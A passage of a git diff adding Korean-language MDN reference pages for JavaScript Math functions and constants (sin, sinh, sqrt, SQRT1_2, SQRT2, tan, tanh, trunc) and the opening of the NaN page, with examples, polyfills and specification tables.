+<pre class="syntaxbox"><code>Math.sin(<var>x</var>)</code></pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자 (라디안으로 주어짐).</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 숫자의 사인 값</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Math.sin()</code> 메소드는 라디안으로 주어진 각도의 사인 값인 -1과 1 사이의 수를 반환합니다.</p>
+
+<p> <code>sin()</code> 은 <code>Math</code>의 스태틱 메소드이기 때문에, <code>Math</code> 오브젝트 의 메소드로 사용하지 말고 항상 <code>Math.sin()</code>로 사용해야합니다.  (<code>Math</code> 는 생성자가 아닙니다).</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="Using_Math.sin()">Using <code>Math.sin()</code></h3>
+
+<pre class="brush: js">Math.sin(0); // 0
+Math.sin(1); // 0.8414709848078965
+
+Math.sin(Math.PI / 2); // 1
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>최초 정의. JavaScript 1.0. 에서 구현됨</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.2.16', 'Math.sin')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.sin', 'Math.sin')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.sin', 'Math.sin')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.sin")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/sinh/index.html b/files/ko/web/javascript/reference/global_objects/math/sinh/index.html
new file mode 100644
index 0000000000..9a3bb3a6ab
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/sinh/index.html
@@ -0,0 +1,96 @@
+---
+title: Math.sinh()
+slug: Web/JavaScript/Reference/Global_Objects/Math/sinh
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sinh
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.sinh()</code></strong> 함수(쌍곡선 함수)는 사인값을 반환합니다 이 값은 아래와같은 식을통해서 표현할 수 있습니다.{{jsxref("Math.E", "constant e", "", 1)}}:</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mo lspace="0em" rspace="thinmathspace">Math.sinh(x)</mo></mstyle><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>-</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow><mn>2</mn></mfrac></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.sinh(x)}} = \frac{e^x - e^{-x}}{2}</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-sinh.html")}}</div>
+
+<p class="hidden">이 대화식 예제의 소스는 GitHub Repository에 저장됩니다. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>Math.sinh(<var>x</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>사인값.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>sinh()</code> 는 <code>Math</code> 의 정적 함수이기 때문에, 자바스크립트 어디든 <code>Math.sinh()</code> 를 사용할 수 있습니다, 따라서  <code>Math</code> 오브젝트를 생성해서는 안됩니다. (<code>Math</code> 는 constructor(생성자) 가 아닙니다.).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Math.sinh_사용하기"><code>Math.sinh()</code> 사용하기</h3>
+
+<pre class="brush: js">Math.sinh(0); // 0
+Math.sinh(1); // 1.1752011936438014
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>This can be emulated with the help of the {{jsxref("Math.exp()")}} function:</p>
+
+<pre class="brush: js">Math.sinh = Math.sinh || function(x) {
+ return (Math.exp(x) - Math.exp(-x)) / 2;
+}
+</pre>
+
+<p>or using only one call to the {{jsxref("Math.exp()")}} function:</p>
+
+<pre class="brush: js">Math.sinh = Math.sinh || function(x) {
+ var y = Math.exp(x);
+ return (y - 1 / y) / 2;
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-math.sinh', 'Math.sinh')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.sinh', 'Math.sinh')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.sinh")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}}</li>
+ <li>{{jsxref("Math.asinh()")}}</li>
+ <li>{{jsxref("Math.atanh()")}}</li>
+ <li>{{jsxref("Math.cosh()")}}</li>
+ <li>{{jsxref("Math.tanh()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/sqrt/index.html b/files/ko/web/javascript/reference/global_objects/math/sqrt/index.html
new file mode 100644
index 0000000000..f03af42e6f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/sqrt/index.html
@@ -0,0 +1,90 @@
+---
+title: Math.sqrt()
+slug: Web/JavaScript/Reference/Global_Objects/Math/sqrt
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt
+---
+<div>{{JSRef}}</div>
+
+<p> <strong><code>Math.sqrt()</code></strong> 함수는 숫자의 제곱근을 반환합니다.</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>≥</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mi>M</mi><mi>a</mi><mi>t</mi><mi>h</mi><mo>.</mo><mi>s</mi><mi>q</mi><mi>r</mi><mi>t</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msqrt><mi>x</mi></msqrt><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>≥</mo><mn>0</mn><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mi>y</mi><mn>2</mn></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \geq 0, \mathtt{Math.sqrt(x)} = \sqrt{x} = \text{the unique} \; y \geq 0 \; \text{such that} \; y^2 = x</annotation></semantics></math></p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Math.sqrt(<var>x</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 숫자에 루트(<strong>√ </strong>)를 씌웁니다. 만약 숫자가 음수이면 {{jsxref("NaN")}}를 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>만약 <code>x</code> 가 음수라면 <code>Math.sqrt()</code> 함수는 {{jsxref("NaN")}}를 반환합니다.</p>
+
+<p><code>sqrt()</code>는 <code>Math</code>의 정적 메서드 이므로 만든  <code>Math</code> 객체의 메서드가 아니라 항상 <code>Math.sqrt()</code>함수를 사용해야합니다. (<code>Math</code>는 생성자가 없습니다.)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.sqrt()"> <code>Math.sqrt()</code></h3>
+
+<pre class="brush: js">Math.sqrt(9); // 3
+Math.sqrt(2); // 1.414213562373095
+
+Math.sqrt(1); // 1
+Math.sqrt(0); // 0
+Math.sqrt(-1); // NaN
+</pre>
+
+<h2 id="표준">표준</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">표준</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.2.17', 'Math.sqrt')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.sqrt', 'Math.sqrt')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.sqrt', 'Math.sqrt')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.sqrt")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Math.cbrt()")}}</li>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/sqrt1_2/index.html b/files/ko/web/javascript/reference/global_objects/math/sqrt1_2/index.html
new file mode 100644
index 0000000000..ee347e46eb
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/sqrt1_2/index.html
@@ -0,0 +1,59 @@
+---
+title: Math.SQRT1_2
+slug: Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.SQRT1_2</code></strong> 프로퍼티는 약 0.707의 값을 나타내는 루트 1/2을 나타냅니다:</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.SQRT1_2</mi></mstyle><mo>=</mo><msqrt><mfrac><mn>1</mn><mn>2</mn></mfrac></msqrt><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mo>≈</mo><mn>0.707</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.SQRT1_2}} = \sqrt{\frac{1}{2}} = \frac{1}{\sqrt{2}} \approx 0.707</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-sqrt1_2.html", "shorter")}}</div>
+
+<p class="hidden">이 상호적인 예시의 소스는 깃헙에 저장되어 있습니다. 만약 상호적인 예시 프로젝트에 기여하고 싶으시다면, <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a>를 클론한 후, 풀 리퀘스트를 보내주시기 바랍니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>SQRT1_2</code> 는 <code>Math</code>의 정적 프로퍼티이기 때문에, 당신이 생성한 <code>Math</code> 오브젝트의 프로퍼티보다는 항상 <code>Math.SQRT1_2</code>의 형태로 사용합니다 (<code>Math</code>는 컨스트럭터가 아닙니다).</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="Math.SQRT1_2_의_사용"><code>Math.SQRT1_2</code> 의 사용</h3>
+
+<p>다음은 루트 1/2를 출력합니다:</p>
+
+<pre class="brush:js">function getRoot1_2() {
+ return Math.SQRT1_2;
+}
+
+getRoot1_2(); // 0.7071067811865476
+</pre>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">사양</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.sqrt1_2', 'Math.SQRT1_2')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden"><span>이 페이지의 호환성 표는 구조화된 데이터에서 생성됩니다.</span> 데이터에 기여하고 싶으시다면,  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 확인하고 풀 리퀘스트를 보내 주시기 바랍니다.</p>
+
+<p>{{Compat("javascript.builtins.Math.SQRT1_2")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/sqrt2/index.html b/files/ko/web/javascript/reference/global_objects/math/sqrt2/index.html
new file mode 100644
index 0000000000..1ad86df55b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/sqrt2/index.html
@@ -0,0 +1,74 @@
+---
+title: Math.SQRT2
+slug: Web/JavaScript/Reference/Global_Objects/Math/SQRT2
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT2
+---
+<div>{{JSRef}}</div>
+
+<p> <strong><code>Math.SQRT2</code></strong> 는 2의 제곱근을 나타내고 약 1.414 입니다:</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.SQRT2</mi></mstyle><mo>=</mo><msqrt><mn>2</mn></msqrt><mo>≈</mo><mn>1.414</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.SQRT2}} = \sqrt{2} \approx 1.414</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p> <code>SQRT2</code> 는  <code>Math</code>의 정적 메서드 이므로 만든 <code>Math</code> 객체의 메서드가 아니라 항상 <code>Math.SQRT2</code> 함수를 사용해야합니다.  (<code>Math</code>는 생성자가 없습니다.)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.SQRT2"><code>Math.SQRT2</code></h3>
+
+<p>이 함수는 2의 제곱근을 반환합니다.</p>
+
+<pre class="brush: js">function getRoot2() {
+ return Math.SQRT2;
+}
+
+getRoot2(); // 1.4142135623730951
+</pre>
+
+<h2 id="표준">표준</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">표준</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.1.8', 'Math.SQRT2')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.sqrt2', 'Math.SQRT2')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.sqrt2', 'Math.SQRT2')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.SQRT2")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/tan/index.html b/files/ko/web/javascript/reference/global_objects/math/tan/index.html
new file mode 100644
index 0000000000..64a1468020
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/tan/index.html
@@ -0,0 +1,102 @@
+---
+title: Math.tan()
+slug: Web/JavaScript/Reference/Global_Objects/Math/tan
+tags:
+ - 레퍼런스
+ - 메소드
+ - 수학
+ - 자바스크립트
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/tan
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.tan()</code></strong> 함수는 탄젠트 값을 반환합니다</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-tan.html")}}</div>
+
+
+
+<h2 id="신텍스">신텍스</h2>
+
+<pre class="syntaxbox"><code>Math.tan(<var>x</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>라디안 각도 </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 수의 탄젠트 값</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Math.tan()</code> 메소드는 각도의 탄젠트 값을 수로 반환합니다.</p>
+
+<p><code>tan()</code>은 <code>Math</code>의 정적 메서드이므로 사용자가 만든 <code>Math</code> 객체의 메서드가 아닌 항상 <code>Math.tan()</code>으로 사용합니다 (<code>Math</code> 는 생성자가 아닙니다).</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="Using_Math.tan()">Using <code>Math.tan()</code></h3>
+
+<pre class="brush: js">Math.tan(1); // 1.5574077246549023
+</pre>
+
+<p><code>Math.tan()</code>함수는 라디안 값으로 받지만 각도로 작업하는 것이 더 쉽기 때문에 다음 함수는 각도로 값을 받아서 라디안으로 변환하고 탄젠트를 반환합니다.</p>
+
+<pre class="brush: js">function getTanDeg(deg) {
+ var rad = deg * Math.PI/180;
+ return Math.tan(rad);
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.2.18', 'Math.tan')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.tan', 'Math.tan')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.tan', 'Math.tan')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.tan")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/tanh/index.html b/files/ko/web/javascript/reference/global_objects/math/tanh/index.html
new file mode 100644
index 0000000000..97055e165b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/tanh/index.html
@@ -0,0 +1,85 @@
+---
+title: Math.tanh()
+slug: Web/JavaScript/Reference/Global_Objects/Math/tanh
+tags:
+ - ECMAScript 2015
+ - 레퍼런스
+ - 메서드
+ - 수학
+ - 자바스크립트
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/tanh
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.tanh()</code></strong> 함수는 쌍곡탄젠트 값을 반환합니다. 수식으로는 아래와 같습니다.</p>
+
+<p><math display="block"><semantics><mrow><mo lspace="0em" rspace="0em">tanh</mo><mi>x</mi><mo>=</mo><mfrac><mrow><mo lspace="0em" rspace="0em">sinh</mo><mi>x</mi></mrow><mrow><mo lspace="0em" rspace="0em">cosh</mo><mi>x</mi></mrow></mfrac><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>-</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow><mrow><msup><mi>e</mi><mi>x</mi></msup><mo>+</mo><msup><mi>e</mi><mrow><mo>-</mo><mi>x</mi></mrow></msup></mrow></mfrac><mo>=</mo><mfrac><mrow><msup><mi>e</mi><mrow><mn>2</mn><mi>x</mi></mrow></msup><mo>-</mo><mn>1</mn></mrow><mrow><msup><mi>e</mi><mrow><mn>2</mn><mi>x</mi></mrow></msup><mo>+</mo><mn>1</mn></mrow></mfrac></mrow><annotation encoding="TeX">\tanh x = \frac{\sinh x}{\cosh x} = \frac {e^x - e^{-x}} {e^x + e^{-x}} = \frac{e^{2x} - 1}{e^{2x}+1}</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-tanh.html")}}</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>Math.tanh(<var>x</var>)</code></pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 수의 쌍곡탄젠트 값</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>tanh()</code> 은 <code>Math</code>의 정적 메서드이므로 사용자가 만든 <code>Math</code> 객체의 메서드가 아닌 항상 <code>Math.tanh()</code> 으로 사용합니다 (<code>Math</code> 는 생성자가 아닙니다.).</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="Using_Math.tanh">Using <code>Math.tanh()</code></h3>
+
+<pre class="brush: js">Math.tanh(0); // 0
+Math.tanh(Infinity); // 1
+Math.tanh(1); // 0.7615941559557649
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>This can be emulated with the help of the {{jsxref("Math.exp()")}} function:</p>
+
+<pre class="brush: js">Math.tanh = Math.tanh || function(x){
+    var a = Math.exp(+x), b = Math.exp(-x);
+    return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (a + b);
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.tanh', 'Math.tanh')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.tanh")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}}</li>
+ <li>{{jsxref("Math.asinh()")}}</li>
+ <li>{{jsxref("Math.atanh()")}}</li>
+ <li>{{jsxref("Math.cosh()")}}</li>
+ <li>{{jsxref("Math.sinh()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/trunc/index.html b/files/ko/web/javascript/reference/global_objects/math/trunc/index.html
new file mode 100644
index 0000000000..0f63fd1e58
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/trunc/index.html
@@ -0,0 +1,96 @@
+---
+title: Math.trunc()
+slug: Web/JavaScript/Reference/Global_Objects/Math/trunc
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/trunc
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.trunc()</code></strong> 함수는 주어진 값의 소수부분을 제거하고 숫자의 정수부분을 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Math.trunc(<var>x</var>)
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자형</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>주어진 숫자의 정수부분</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Math의 유사함수 3개 : {{jsxref("Math.floor()")}}, {{jsxref("Math.ceil()")}} and {{jsxref("Math.round()")}} 와는 다르게, <code>Math.trunc()</code> 함수는 주어진 값이 양수이건 음수이건 상관없이 소수점 이하 우측부분을 제거하는 매우 단순한 동작을 합니다.</p>
+
+<p>함수인자는 암묵적으로 number형으로 변환되어 메소드에 전달됩니다.</p>
+
+<p><code>trunc()</code> 함수는 Math의 정적 메소드이기 때문에 사용자가 생성한 <code>Math</code> 객체의 메소드로 호출하는 것이 아닌 항상 <code>Math.trunc()</code> 형태로 호출해야 합니다. (<code>Math</code> 는 생성자가 아닙니다).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_Math.trunc()">Using <code>Math.trunc()</code></h3>
+
+<pre class="brush: js">Math.trunc(13.37); // 13
+Math.trunc(42.84); // 42
+Math.trunc(0.123); // 0
+Math.trunc(-0.123); // -0
+Math.trunc('-1.123'); // -1
+Math.trunc(NaN); // NaN
+Math.trunc('foo'); // NaN
+Math.trunc(); // NaN
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">Math.trunc = Math.trunc || function(x) {
+ if (isNaN(x)) {
+ return NaN;
+ }
+ if (x &gt; 0) {
+ return Math.floor(x);
+ }
+ return Math.ceil(x);
+};</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-math.trunc', 'Math.trunc')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.trunc', 'Math.trunc')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.trunc")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/nan/index.html b/files/ko/web/javascript/reference/global_objects/nan/index.html
new file mode 100644
index 0000000000..4e6e3a8c42
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/nan/index.html
@@ -0,0 +1,91 @@
+---
+title: NaN
+slug: Web/JavaScript/Reference/Global_Objects/NaN
+tags:
+ - JavaScript
+ - Property
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/NaN
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>전역 <code><strong>NaN</strong></code> 속성은 Not-A-Number(숫자가 아님)를 나타냅니다.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-nan.html")}}</div>
+
+
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p><code>NaN</code>은 전역 객체의 속성입니다. 즉 전역 스코프의 변수입니다.</p>
+
+<p><code>NaN</code>의 초기값은 Not-A-Number(숫자가 아님)로, {{jsxref("Number.NaN")}}의 값과 같습니다. 최신 브라우저에서 <code style="font-style: normal;">NaN</code>은 설정 불가, 쓰기 불가 속성입니다. 그렇지 않다고 하더라도 덮어쓰는건 피하는게 좋습니다.</p>
+
